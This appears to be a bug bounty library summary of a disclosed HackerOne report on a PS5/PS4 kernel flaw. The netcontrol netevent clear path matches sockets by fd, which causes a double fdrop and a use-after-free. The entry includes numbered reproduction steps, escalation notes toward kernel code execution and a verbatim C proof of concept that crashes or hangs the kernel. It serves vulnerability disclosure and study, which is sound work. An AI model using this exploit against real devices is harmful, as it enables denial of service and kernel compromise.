# Double fdrop on a socket through sys_netcontrol

PS5 netcontrol netevent clear matched sockets by fd instead of pointer, causing double fdrop and use-after-free in kernel.

- Payout: $10,000
- Severity: high
- Program: PlayStation
- Found by: slidybat
- Disclosed: 2026-05-01
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3320669
- Library page: https://bugbountylibrary.com/r/h1%3A3320669
- Tags: area:os domain:desktop impact:dos impact:rce kind:bounty platform:hackerone sev:high tech:linux technique:race-window technique:source-review vuln:dos vuln:memory-corruption

**Target:** PS5 kernel netcontrol syscall (netevent queue set/clear)
**Root cause:** bnet_netevent_clear_queue identifies the stored socket by fd number rather than by file/socket pointer; fds are reusable, so a new socket reusing the fd gets an extra fdrop while the original socket's reference leaks.
**Steps:**
1. `s1 = socket(AF_INET, SOCK_STREAM, 0)`
2. `netcontrol(0, 0x20000003, &s1, sizeof(s1))` to add s1 to netevent (refcnt 2)
3. `close(s1)` then `s2 = socket(...)` so s2 reuses s1's fd
4. `netcontrol(0, 0x20000007, &s2, sizeof(s2))` triggers double fdrop on s2's file (refcnt 0) and leaks s1
5. Call `fcntl(s2, F_SETFL, 0)` repeatedly; on PS4 fhold/fdrop frees file again causing panic, on PS5 fget hangs
**How found:** Code review of netcontrol handlers: noticed clear_queue compares `ne->socket_fd != socket_fd` (fd, not pointer) and unconditionally fdrop()s, while set_queue takes a getsock_cap reference — fd reuse breaks the refcount pairing.
**Exploitation:** Attacker frees a socket's backing file while an fdtable reference remains, producing a dangling file pointer; repeated fcntl(F_SETFL) on PS4 re-frees the file leading to crash/panic, and the UAF can be shaped toward kernel memory corruption/code execution.
**Escalation:** Repeated fcntl(F_SETFL) calls on the stale fd to re-free the file object, converting the double-put into a controllable use-after-free for kernel code execution.
**Insight:** When a kernel object stores a user-supplied fd and later matches on that fd to release a reference, test fd-reuse: close and reopen to alias the fd, then trigger the release path to get a double-put on the new object and a leaked ref on the old.

## Proof of concept (copied exactly from the original report)

**PoC C code for double fdrop via netcontrol**

```
void main()
{
    int64_t s1 = socket(AF_INET, SOCK_STREAM, 0); // s1 refcnt = 1

    // Add s1 to netevent
    netcontrol(0, NETCONTROL_NETEVENT_SET_QUEUE, &s1, sizeof(s1)); // s1 refcnt = 2

    // Close s1 and open new socket s2
    // fd values are predictable, so s2 fd should be same as s1 fd
    close(s1); // s1 refcnt = 1
    int64_t s2 = socket(AF_INET, SOCK_STREAM, 0); // s2 refcnt = 1

    // Remove s2 from netevent (will cause double fdrop on file of s2)
    netcontrol(0, NETCONTROL_NETEVENT_CLEAR_QUEUE, &s2, sizeof(s2)); // s2 refcnt = 0, s1 refcnt = 1

    // At this stage, the backing file/socket for s2 has been freed, but we still have
    // a reference to it in the fdtable.
    //
    // Triggering call to fget() will result in a hang, due to fget() code not handling
    // refcnt of 0 well.
    //
    // On PS4, calling fcntl(F_SETFL) will cause file to get freed again, since that
    // calls fhold()/fdrop() directly without going through fget().
    // Doing this enough times will cause a crash/panic at some point.
    //
    // On PS5, fcntl(F_SETFL) will call fget() which should hang.
    for (int i = 0; i < 100; i++) {
        fcntl(s2, F_SETFL, 0);
    }
}
```

